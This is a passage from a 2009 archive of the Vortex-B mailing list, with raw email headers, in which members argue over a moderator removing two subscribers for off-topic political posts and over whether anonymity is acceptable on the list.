>Perhaps vortex should require surrendering anonymity, but it's much work >> to do it right (to avoid >> >fake identities.) >> > >> >> If the political commentary incorporates *personal* insults, instead >> >> of >> > >> >There is very specifically no rule against insults on Vortex-L. However, >> people who habitually use >> >personal insults will attract complaints from the entire community, and >> then... (see above.) >> >> > --000e0cd25830349d35046bdf2a8e Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Ok, so are my posts even getting through to Vortex-B currently?

A wa= rning would I think be a better method than unsubscribing but I was told it= was temporary but how am I to get back?

Let's see what Grok was= asked to do...

To resubscrib= e, I require that he apologize for his off-topic postings,

I made a single post that got me kicked off, so I can apologize for a s= ingle post not posts, furthermore I said it was a mistake as I had not mean= t it to go to Vortex-l, still I can apologize for my complacency and do.
reveal his identity
=A0
My identity has never be= en a secret (my name is sometimes appended to posts and always appears in t= he sender field in my emails).
I could add to it however that I a= m a citizen of and reside in New Zealand, although that too was apparent wi= th previous email addess I had previously been subscribed under.

, and promise= to eliminate all political commentary.

Again it was a mistake and I don't make a habit of it, but obviously th= at is inherently agreed to.

Wouldn't a warning have been more ap= propriate?




On Mon, Jun 8, 200= 9 at 9:49 PM, John Berry <aether22@gmail.com> wrote:
I too am now remo= ved, I replied to this topic not realizing it was posted twice in vortes-l = and vortex-b, i replied to the wrong instance.

Anyway the gist of what I said was:

I guess if you live in a web= of lies truth becomes an act of terrorism.

Or something to that effect in reply to:


The U.S. government has said that = people who deny the
government story about 9/11, or who want the government
to obey the Constitution, or who oppose the war against
Iraq, etc., are to be suspected as terrorists allied with
Al-Qaeda. =A0U.S. government legislation and executive
orders provide that suspected terrorists can be arrested,
denied the legal rights provided in the Constitution,
tortured, and killed.

Oh well, grok kinda had it = coming as he has no genuine interest in ever being on topic and he tends to= shot first.

And I'm not anonymous obviously, so not sure how th= is accidental infraction gets undone...




On Mon, Jun 8, 2009 at 8:29 PM, Mark= S Bilk <mark@cosmicpenguin.com> wrote:
On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote:
>Grok is a coward.
>If he really believed what he was preaching, then he wouldn't be af= raid to use his real name.

The U.S. government has said that people who deny the
government story about 9/11, or who want the government
to obey the Constitution, or who oppose the war against
Iraq, etc., are to be suspected as terrorists allied with
Al-Qaeda. =A0U.S. government legislation and executive
orders provide that suspected terrorists can be arrested,
denied the legal rights provided in the Constitution,
tortured, and killed.

So anyone who speaks out against U.S. government policies
is well justified in doing so anonymously. =A0In this case
anonymity does _not_ mean

>>"probably criminal element" ..."teenager," or &= quot;newbie user."

Furthermore, Grok has _not_

>>[drawn] complaints from the entire community

>I think most everyone I'm aware of on this list has apologized at o= ne time or another... It's what a
>person with integrity does when they realize their mistake or transgres= sion. =A0The fact that grok is
>incapable of such behavior (all he knows is arrogance and condescension= ), shows his true self; one
>lacking humility, reflection, self-awareness consciousness... Asking fo= r an apology and real name
>are justified in this instance.
>He will, or already has, tried to blame others for his situation; he ne= eds to point the finger in
>his direction. =A0I doubt if he is even capable of that... Personal res= ponsibility is something he
>hasn't shown either.

That's an ad hominem attack made without supporting evidence.

=A0Mark S Bilk
=A0http://www.c= osmicpenguin.com

>-----Original Message-----
>From: William Beaty [mailto:billb@eskimo.com]
>Sent: Sunday, June 07, 2009 10:54 PM
>To: vortex-l@e= skimo.com
>Subject: Re: [Vo]:grok is removed temporarily
>
>On Sun, 7 Jun 2009, Harry Veeder wrote:
>
>> > Grok said no thanks, to the above.
>> I am not sure why he should apologize for his off-topic postings,<= br> >
>Political posting sent here, rather than to vtxB.
>
>> If you expect him to reveal his true identity then that should be<= br> >> written in the rules.
>
>Nope. =A0If any user misbehaves so badly that they draw complaint= s from the entire community, then
>I'll fix the problem, which includes crafting arbitrary and mysteri= ous requirements on a whim.
>
>As with any professional community, people with real names are welcome,= and people who hide their
>identities have marked themselves as "probably criminal element&qu= ot; in the eyes of the group
>...although on internet, anonymity also means "teenager," or = "newbie user." =A0(Which of the three is
>worse?) =A0To impress fellow professionals, always put your address and= phone number in your sig.
>This is an unwritten societal rule which applies to the entire world, n= ot just online or on vortex:
>try walking around downtown wearing a mask, see what happens.
>
>Perhaps vortex should require surrendering anonymity, but it's much= work to do it right (to avoid
>fake identities.)
>
>> If the political commentary incorporates *personal* insults, inste= ad
>> of
>
>There is very specifically no rule against insults on Vortex-L. = =A0However, people who habitually use
>personal insults will attract complaints from the entire community, and= then... (see above.)



--000e0cd25830349d35046bdf2a8e-- From vortexb-l-request@eskimo.com Mon Jun 8 17:23:25 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n590NM0p020597; Mon, 8 Jun 2009 17:23:22 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n590NMu5020593; Mon, 8 Jun 2009 17:23:22 -0700 Resent-Date: Mon, 8 Jun 2009 17:23:22 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <41e66241fd39.41fd3941e662@ncf.ca> Date: Mon, 08 Jun 2009 20:23:20 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: <_zU-W.A.rBF.6taLKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4347 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 589 ----- Original Message ----- From: John Berry Date: Monday, June 8, 2009 8:08 pm Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily > Ok, so are my posts even getting through to Vortex-B currently? this one did. Harry From vortexb-l-request@eskimo.com Mon Jun 8 17:23:42 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n590NbjB020782; Mon, 8 Jun 2009 17:23:37 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n590Nbuj020773; Mon, 8 Jun 2009 17:23:37 -0700 Resent-Date: Mon, 8 Jun 2009 17:23:37 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=E3RKa6Vcc4FYQt0GVeskzWfQs+hx4njCtlelcnL2BTI=; b=CmGR/JDJzxeyTIZiju1quRGPK1wmG0JGdJwdbLaAj8Gz0KopE3SDomSPf2lrWmnquk uwrT4GxtyGlvb7Kz+Mn2qRnE8IHZjBqnwekG6x885Pfxm9762mNfgbthDvugpat8Ds+a TgPV/c6NjU4ukW8tkY6rvxBDq5soR0eKNbCKk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=DkSViZcgFr3xOvRtyVmXiGd9PlrKTDS3jWymf1VbQk/+WalcIpDglcMfZ5OiyEyCDe Cp3fydXcSLh3ZrVeDZ3wAObCDPfzBl3oG84UiKtHE7SvJjug5UcayWEiR8kHo81DYk3c VhYqPZNed9yx4H7DVNZ6js0fRUYeRBAo4bCDA= MIME-Version: 1.0 In-Reply-To: References: <3fd9493facb0.3facb03fd949@ncf.ca> <3D5A832CD18E42AEA658EAD84F14F985@p4> <20090608082941.GC29614@Isis> Date: Mon, 8 Jun 2009 17:23:37 -0700 Message-ID: Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: <4RugwB.A.ZEF.JuaLKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4348 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 590 just drop bill a private email and say you wont do it again On Mon, Jun 8, 2009 at 5:08 PM, John Berry wrote: > Ok, so are my posts even getting through to Vortex-B currently? > > A warning would I think be a better method than unsubscribing but I was told > it was temporary but how am I to get back? > > Let's see what Grok was asked to do... > >> To resubscribe, I require that he apologize for his off-topic postings, > > I made a single post that got me kicked off, so I can apologize for a single > post not posts, furthermore I said it was a mistake as I had not meant it to > go to Vortex-l, still I can apologize for my complacency and do. > >> reveal his identity > > > My identity has never been a secret (my name is sometimes appended to posts > and always appears in the sender field in my emails). > I could add to it however that I am a citizen of and reside in New Zealand, > although that too was apparent with previous email addess I had previously > been subscribed under. > >> , and promise to eliminate all political commentary. > > Again it was a mistake and I don't make a habit of it, but obviously that is > inherently agreed to. > > Wouldn't a warning have been more appropriate? > > > > > On Mon, Jun 8, 2009 at 9:49 PM, John Berry wrote: >> >> I too am now removed, I replied to this topic not realizing it was posted >> twice in vortes-l and vortex-b, i replied to the wrong instance. >> >> Anyway the gist of what I said was: >> >> I guess if you live in a web of lies truth becomes an act of terrorism. >> >> Or something to that effect in reply to: >> >>> The U.S. government has said that people who deny the >>> government story about 9/11, or who want the government >>> to obey the Constitution, or who oppose the war against >>> Iraq, etc., are to be suspected as terrorists allied with >>> Al-Qaeda. U.S. government legislation and executive >>> orders provide that suspected terrorists can be arrested, >>> denied the legal rights provided in the Constitution, >>> tortured, and killed. >> >> Oh well, grok kinda had it coming as he has no genuine interest in ever >> being on topic and he tends to shot first. >> >> And I'm not anonymous obviously, so not sure how this accidental >> infraction gets undone... >> >> >> >> On Mon, Jun 8, 2009 at 8:29 PM, Mark S Bilk >> wrote: >>> >>> On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote: >>> >Grok is a coward. >>> >If he really believed what he was preaching, then he wouldn't be afraid >>> > to use his real name. >>> >>> The U.S. government has said that people who deny the >>> government story about 9/11, or who want the government >>> to obey the Constitution, or who oppose the war against >>> Iraq, etc., are to be suspected as terrorists allied with >>> Al-Qaeda. U.S. government legislation and executive >>> orders provide that suspected terrorists can be arrested, >>> denied the legal rights provided in the Constitution, >>> tortured, and killed. >>> >>> So anyone who speaks out against U.S. government policies >>> is well justified in doing so anonymously. In this case >>> anonymity does _not_ mean >>> >>> >>"probably criminal element" ..."teenager," or "newbie user." >>> >>> Furthermore, Grok has _not_ >>> >>> >>[drawn] complaints from the entire community >>> >>> >I think most everyone I'm aware of on this list has apologized at one >>> > time or another... It's what a >>> >person with integrity does when they realize their mistake or >>> > transgression. The fact that grok is >>> >incapable of such behavior (all he knows is arrogance and >>> > condescension), shows his true self; one >>> >lacking humility, reflection, self-awareness consciousness... Asking for >>> > an apology and real name >>> >are justified in this instance. >>> >He will, or already has, tried to blame others for his situation; he >>> > needs to point the finger in >>> >his direction. I doubt if he is even capable of that... Personal >>> > responsibility is something he >>> >hasn't shown either. >>> >>> That's an ad hominem attack made without supporting evidence. >>> >>> Mark S Bilk >>> http://www.cosmicpenguin.com >>> >>> >-----Original Message----- >>> >From: William Beaty [mailto:billb@eskimo.com] >>> >Sent: Sunday, June 07, 2009 10:54 PM >>> >To: vortex-l@eskimo.com >>> >Subject: Re: [Vo]:grok is removed temporarily >>> > >>> >On Sun, 7 Jun 2009, Harry Veeder wrote: >>> > >>> >> > Grok said no thanks, to the above. >>> >> I am not sure why he should apologize for his off-topic postings, >>> > >>> >Political posting sent here, rather than to vtxB. >>> > >>> >> If you expect him to reveal his true identity then that should be >>> >> written in the rules. >>> > >>> >Nope. If any user misbehaves so badly that they draw complaints from >>> > the entire community, then >>> >I'll fix the problem, which includes crafting arbitrary and mysterious >>> > requirements on a whim. >>> > >>> >As with any professional community, people with real names are welcome, >>> > and people who hide their >>> >identities have marked themselves as "probably criminal element" in the >>> > eyes of the group >>> >...although on internet, anonymity also means "teenager," or "newbie >>> > user." (Which of the three is >>> >worse?) To impress fellow professionals, always put your address and >>> > phone number in your sig. >>> >This is an unwritten societal rule which applies to the entire world, >>> > not just online or on vortex: >>> >try walking around downtown wearing a mask, see what happens. >>> > >>> >Perhaps vortex should require surrendering anonymity, but it's much work >>> > to do it right (to avoid >>> >fake identities.) >>> > >>> >> If the political commentary incorporates *personal* insults, instead >>> >> of >>> > >>> >There is very specifically no rule against insults on Vortex-L. >>> > However, people who habitually use >>> >personal insults will attract complaints from the entire community, and >>> > then... (see above.) >>> >> > > From vortexb-l-request@eskimo.com Mon Jun 8 17:43:33 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n590hU2T019889; Mon, 8 Jun 2009 17:43:30 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n590hU5I019884; Mon, 8 Jun 2009 17:43:30 -0700 Resent-Date: Mon, 8 Jun 2009 17:43:30 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=ZCJdJdMAd3PyawCgCBLEZiUYcYPc780m+SKYTfGcl84=; b=WeMqVAnpdvjcWbV1pglHxCZI99gDGnVs9FrNvY+96eRldHUDZuKXJq034N2DwA3dMg b+Kufi3Z4MiJfhY5MphcZ7FW2VlSVjsYoUz83fVKwbmmXP4jDmixaN6g0O+8uwldt+b/ vnmeWX7aqVeCzFu/pOk43i8vz3hnTvQ4FKINI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=kEad5X3dn1BckbguDRB3bIqhqS1qdW6HiRt8401tUlNm4aEZnmAQEJO7UL/vo7QE/y gRFtSYGWJY04kXdwGJTDSOn97XFRTZiSj/w9lpJEcDsAJOtFVCezbKhlxOcVxgXvdIQZ et0KkSTmy/Xqk8G0smHsVY5UQfQXQAW8Wmr1E= MIME-Version: 1.0 In-Reply-To: References: <3fd9493facb0.3facb03fd949@ncf.ca> <3D5A832CD18E42AEA658EAD84F14F985@p4> <20090608082941.GC29614@Isis> From: John Berry Date: Tue, 9 Jun 2009 12:43:10 +1200 Message-ID: Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=000e0cd14b02c89dbb046bdfa55e Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4349 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 591 --000e0cd14b02c89dbb046bdfa55e Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit I did email him last night (my time). On Tue, Jun 9, 2009 at 12:23 PM, leaking pen wrote: > just drop bill a private email and say you wont do it again > > On Mon, Jun 8, 2009 at 5:08 PM, John Berry wrote: > > Ok, so are my posts even getting through to Vortex-B currently? > > > > A warning would I think be a better method than unsubscribing but I was > told > > it was temporary but how am I to get back? > > > > Let's see what Grok was asked to do... > > > >> To resubscribe, I require that he apologize for his off-topic postings, > > > > I made a single post that got me kicked off, so I can apologize for a > single > > post not posts, furthermore I said it was a mistake as I had not meant it > to > > go to Vortex-l, still I can apologize for my complacency and do. > > > >> reveal his identity > > > > > > My identity has never been a secret (my name is sometimes appended to > posts > > and always appears in the sender field in my emails). > > I could add to it however that I am a citizen of and reside in New > Zealand, > > although that too was apparent with previous email addess I had > previously > > been subscribed under. > > > >> , and promise to eliminate all political commentary. > > > > Again it was a mistake and I don't make a habit of it, but obviously that > is > > inherently agreed to. > > > > Wouldn't a warning have been more appropriate? > > > > > > > > > > On Mon, Jun 8, 2009 at 9:49 PM, John Berry wrote: > >> > >> I too am now removed, I replied to this topic not realizing it was > posted > >> twice in vortes-l and vortex-b, i replied to the wrong instance. > >> > >> Anyway the gist of what I said was: > >> > >> I guess if you live in a web of lies truth becomes an act of terrorism. > >> > >> Or something to that effect in reply to: > >> > >>> The U.S. government has said that people who deny the > >>> government story about 9/11, or who want the government > >>> to obey the Constitution, or who oppose the war against > >>> Iraq, etc., are to be suspected as terrorists allied with > >>> Al-Qaeda. U.S. government legislation and executive > >>> orders provide that suspected terrorists can be arrested, > >>> denied the legal rights provided in the Constitution, > >>> tortured, and killed. > >> > >> Oh well, grok kinda had it coming as he has no genuine interest in ever > >> being on topic and he tends to shot first. > >> > >> And I'm not anonymous obviously, so not sure how this accidental > >> infraction gets undone... > >> > >> > >> > >> On Mon, Jun 8, 2009 at 8:29 PM, Mark S Bilk > >> wrote: > >>> > >>> On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote: > >>> >Grok is a coward. > >>> >If he really believed what he was preaching, then he wouldn't be > afraid > >>> > to use his real name. > >>> > >>> The U.S. government has said that people who deny the > >>> government story about 9/11, or who want the government > >>> to obey the Constitution, or who oppose the war against > >>> Iraq, etc., are to be suspected as terrorists allied with > >>> Al-Qaeda. U.S. government legislation and executive > >>> orders provide that suspected terrorists can be arrested, > >>> denied the legal rights provided in the Constitution, > >>> tortured, and killed. > >>> > >>> So anyone who speaks out against U.S. government policies > >>> is well justified in doing so anonymously. In this case > >>> anonymity does _not_ mean > >>> > >>> >>"probably criminal element" ..."teenager," or "newbie user." > >>> > >>> Furthermore, Grok has _not_ > >>> > >>> >>[drawn] complaints from the entire community > >>> > >>> >I think most everyone I'm aware of on this list has apologized at one > >>> > time or another... It's what a > >>> >person with integrity does when they realize their mistake or > >>> > transgression. The fact that grok is > >>> >incapable of such behavior (all he knows is arrogance and > >>> > condescension), shows his true self; one > >>> >lacking humility, reflection, self-awareness consciousness... Asking > for > >>> > an apology and real name > >>> >are justified in this instance. > >>> >He will, or already has, tried to blame others for his situation; he > >>> > needs to point the finger in > >>> >his direction. I doubt if he is even capable of that... Personal > >>> > responsibility is something he > >>> >hasn't shown either. > >>> > >>> That's an ad hominem attack made without supporting evidence. > >>> > >>> Mark S Bilk > >>> http://www.cosmicpenguin.com > >>> > >>> >-----Original Message----- > >>> >From: William Beaty [mailto:billb@eskimo.com] > >>> >Sent: Sunday, June 07, 2009 10:54 PM > >>> >To: vortex-l@eskimo.com > >>> >Subject: Re: [Vo]:grok is removed temporarily > >>> > > >>> >On Sun, 7 Jun 2009, Harry Veeder wrote: > >>> > > >>> >> > Grok said no thanks, to the above. > >>> >> I am not sure why he should apologize for his off-topic postings, > >>> > > >>> >Political posting sent here, rather than to vtxB. > >>> > > >>> >> If you expect him to reveal his true identity then that should be > >>> >> written in the rules. > >>> > > >>> >Nope. If any user misbehaves so badly that they draw complaints from > >>> > the entire community, then > >>> >I'll fix the problem, which includes crafting arbitrary and mysterious > >>> > requirements on a whim. > >>> > > >>> >As with any professional community, people with real names are > welcome, > >>> > and people who hide their > >>> >identities have marked themselves as "probably criminal element" in > the > >>> > eyes of the group > >>> >...although on internet, anonymity also means "teenager," or "newbie > >>> > user." (Which of the three is > >>> >worse?) To impress fellow professionals, always put your address and > >>> > phone number in your sig. > >>> >This is an unwritten societal rule which applies to the entire world, > >>> > not just online or on vortex: > >>> >try walking around downtown wearing a mask, see what happens. > >>> > > >>> >Perhaps vortex should require surrendering anonymity, but it's much > work > >>> > to do it right (to avoid > >>> >fake identities.) > >>> > > >>> >> If the political commentary incorporates *personal* insults, instead > >>> >> of > >>> > > >>> >There is very specifically no rule against insults on Vortex-L. > >>> > However, people who habitually use > >>> >personal insults will attract complaints from the entire community, > and > >>> > then... (see above.) > >>> > >> > > > > > > --000e0cd14b02c89dbb046bdfa55e Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable I did email him last night (my time).

On = Tue, Jun 9, 2009 at 12:23 PM, leaking pen <itsatrap@gmail.com> wrote:
just drop bill a private email and say you wont do it again

On Mon, Jun 8, 2009 at 5:08 PM, John Berry<aether22@gmail.com> wrote:
> Ok, so are my posts even getting through to Vortex-B currently?
>
> A warning would I think be a better method than unsubscribing but I wa= s told
> it was temporary but how am I to get back?
>
> Let's see what Grok was asked to do...
>
>> To resubscribe, I require that he apologize for his off-topic post= ings,
>
> I made a single post that got me kicked off, so I can apologize for a = single
> post not posts, furthermore I said it was a mistake as I had not meant= it to
> go to Vortex-l, still I can apologize for my complacency and do.
>
>> reveal his identity
>
>
> My identity has never been a secret (my name is sometimes appended to = posts
> and always appears in the sender field in my emails).
> I could add to it however that I am a citizen of and reside in New Zea= land,
> although that too was apparent with previous email addess I had previo= usly
> been subscribed under.
>
>> , and promise to eliminate all political commentary.
>
> Again it was a mistake and I don't make a habit of it, but obvious= ly that is
> inherently agreed to.
>
> Wouldn't a warning have been more appropriate?
>
>
>
>
> On Mon, Jun 8, 2009 at 9:49 PM, John Berry <aether22@gmail.com> wrote:
>>
>> I too am now removed, I replied to this topic not realizing it was= posted
>> twice in vortes-l and vortex-b, i replied to the wrong instance. >>
>> Anyway the gist of what I said was:
>>
>> I guess if you live in a web of lies truth becomes an act of terro= rism.
>>
>> Or something to that effect in reply to:
>>
>>> The U.S. government has said that people who deny the
>>> government story about 9/11, or who want the government
>>> to obey the Constitution, or who oppose the war against
>>> Iraq, etc., are to be suspected as terrorists allied with
>>> Al-Qaeda. =A0U.S. government legislation and executive
>>> orders provide that suspected terrorists can be arrested,
>>> denied the legal rights provided in the Constitution,
>>> tortured, and killed.
>>
>> Oh well, grok kinda had it coming as he has no genuine interest in= ever
>> being on topic and he tends to shot first.
>>
>> And I'm not anonymous obviously, so not sure how this accident= al
>> infraction gets undone...
>>
>>
>>
>> On Mon, Jun 8, 2009 at 8:29 PM, Mark S Bilk <mark@cosmicpenguin.com>
>> wrote:
>>>
>>> On Sun, Jun 07, 2009 at 11:48:07PM -0700, Mark Iverson wrote:<= br> >>> >Grok is a coward.
>>> >If he really believed what he was preaching, then he would= n't be afraid
>>> > to use his real name.
>>>
>>> The U.S. government has said that people who deny the
>>> government story about 9/11, or who want the government
>>> to obey the Constitution, or who oppose the war against
>>> Iraq, etc., are to be suspected as terrorists allied with
>>> Al-Qaeda. =A0U.S. government legislation and executive
>>> orders provide that suspected terrorists can be arrested,
>>> denied the legal rights provided in the Constitution,
>>> tortured, and killed.
>>>
>>> So anyone who speaks out against U.S. government policies
>>> is well justified in doing so anonymously. =A0In this case
>>> anonymity does _not_ mean
>>>
>>> >>"probably criminal element" ..."teenage= r," or "newbie user."
>>>
>>> Furthermore, Grok has _not_
>>>
>>> >>[drawn] complaints from the entire community
>>>
>>> >I think most everyone I'm aware of on this list has ap= ologized at one
>>> > time or another... It's what a
>>> >person with integrity does when they realize their mistake= or
>>> > transgression. =A0The fact that grok is
>>> >incapable of such behavior (all he knows is arrogance and<= br> >>> > condescension), shows his true self; one
>>> >lacking humility, reflection, self-awareness consciousness= ... Asking for
>>> > an apology and real name
>>> >are justified in this instance.
>>> >He will, or already has, tried to blame others for his sit= uation; he
>>> > needs to point the finger in
>>> >his direction. =A0I doubt if he is even capable of that...= Personal
>>> > responsibility is something he
>>> >hasn't shown either.
>>>
>>> That's an ad hominem attack made without supporting eviden= ce.
>>>
>>> =A0Mark S Bilk
>>> =A0= http://www.cosmicpenguin.com
>>>
>>> >-----Original Message-----
>>> >From: William Beaty [mailto:billb@eskimo.com]
>>> >Sent: Sunday, June 07, 2009 10:54 PM
>>> >To: vortex-l@eskimo= .com
>>> >Subject: Re: [Vo]:grok is removed temporarily
>>> >
>>> >On Sun, 7 Jun 2009, Harry Veeder wrote:
>>> >
>>> >> > Grok said no thanks, to the above.
>>> >> I am not sure why he should apologize for his off-top= ic postings,
>>> >
>>> >Political posting sent here, rather than to vtxB.
>>> >
>>> >> If you expect him to reveal his true identity then th= at should be
>>> >> written in the rules.
>>> >
>>> >Nope. =A0If any user misbehaves so badly that they draw co= mplaints from
>>> > the entire community, then
>>> >I'll fix the problem, which includes crafting arbitrar= y and mysterious
>>> > requirements on a whim.
>>> >
>>> >As with any professional community, people with real names= are welcome,
>>> > and people who hide their
>>> >identities have marked themselves as "probably crimin= al element" in the
>>> > eyes of the group
>>> >...although on internet, anonymity also means "teenag= er," or "newbie
>>> > user." =A0(Which of the three is
>>> >worse?) =A0To impress fellow professionals, always put you= r address and
>>> > phone number in your sig.
>>> >This is an unwritten societal rule which applies to the en= tire world,
>>> > not just online or on vortex:
>>> >try walking around downtown wearing a mask, see what happe= ns.
>>> >
>>> >Perhaps vortex should require surrendering anonymity, but = it's much work
>>> > to do it right (to avoid
>>> >fake identities.)
>>> >
>>> >> If the political commentary incorporates *personal* i= nsults, instead
>>> >> of
>>> >
>>> >There is very specifically no rule against insults on Vort= ex-L.
>>> > =A0However, people who habitually use
>>> >personal insults will attract complaints from the entire c= ommunity, and
>>> > then... (see above.)
>>>
>>
>
>


--000e0cd14b02c89dbb046bdfa55e-- From vortexb-l-request@eskimo.com Mon Jun 8 17:48:56 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n590mp1N021157; Mon, 8 Jun 2009 17:48:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n590mof7021150; Mon, 8 Jun 2009 17:48:50 -0700 Resent-Date: Mon, 8 Jun 2009 17:48:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=rbnQ5sDy4imgp8Btg7CTPsWWIy160OqqdMwF1Qdjdwk=; b=H9UA0X3OvAlXJnbtOHx4dHdN7007P2IIt5xCdbKGjB3wXZQgxg87vejW4MKsxZg5Tr fHucjmCfrvPRxblMKQLGO1M5rIXJVvqZyIaBwbsIHj+ETyIT7eQlPn2dhh9v2G3ETpvK 5dhn9bAZJQkh5Y716u/nXqgwPZ+OzD3MFxous= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=UJub44hUV0G5F4IpEGkyCeXMwExpd4t9FylhLgxPGz77QHHQfE9b4m/+idshC/AK00 Az+NUyYTNEf6uVgRcpKkhfCHcdSdd+mGX1+m14X9LkBY66B5MzPYYLndYEuvU1UK3BeM kpA5Op7b0f1wMT7LaqXw3rTAOKInOem38yOSY= MIME-Version: 1.0 In-Reply-To: References: <3fd9493facb0.3facb03fd949@ncf.ca> <3D5A832CD18E42AEA658EAD84F14F985@p4> <20090608082941.GC29614@Isis> From: John Berry Date: Tue, 9 Jun 2009 12:48:31 +1200 Message-ID: Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636e90df9ea11f0046bdfb849 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4350 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 592 --001636e90df9ea11f0046bdfb849 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit I knew my line "If you live in a web of lies truth becomes an act of terrorism" rung a bell, sure enough... "During times of universal deceit, telling the truth becomes a revolutionary act." -- *George Orwell* So I guess revolutionary acts are labeled as terrorism now... On Tue, Jun 9, 2009 at 12:43 PM, John Berry wrote: > I did email him last night (my time). > > > On Tue, Jun 9, 2009 at 12:23 PM, leaking pen wrote: > >> just drop bill a private email and say you wont do it again >> >> On Mon, Jun 8, 2009 at 5:08 PM, John Berry wrote: >> > Ok, so are my posts even getting through to Vortex-B currently? >> > >> > A warning would I think be a better method than unsubscribing but I was >> told >> > it was temporary but how am I to get back? >> > >> > Let's see what Grok was asked to do... >> > >> >> To resubscribe, I require that he apologize for his off-topic postings, >> > >> > I made a single post that got me kicked off, so I can apologize for a >> single >> > post not posts, furthermore I said it was a mistake as I had not meant >> it to >> > go to Vortex-l, still I can apologize for my complacency and do. >> > >> >> reveal his identity >> > >> > >> > My identity has never been a secret (my name is sometimes appended to >> posts >> > and always appears in the sender field in my emails). >> > I could add to it however that I am a citizen of and reside in New >> Zealand, >> > although that too was apparent with previous email addess I had >> previously >> > been subscribed under. >> > >> >> , and promise to eliminate all political commentary. >> > >> > Again it was a mistake and I don't make a habit of it, but obviously >> that is >> > inherently agreed to. >> > >> > Wouldn't a warning have been more appropriate? >> > >> > >> > >> > >> > On Mon, Jun 8, 2009 at 9:49 PM, John Berry wrote: >> >> >> >> I too am now removed, I replied to this topic not realizing it was >> posted >> >> twice in vortes-l and vortex-b, i replied to the wrong instance. >> >> >> >> Anyway the gist of what I said was: >> >> >> >> I guess if you live in a web of lies truth becomes an act of terrorism. >> >> >> >> Or something to that effect in reply to: >> >> >> >>> The 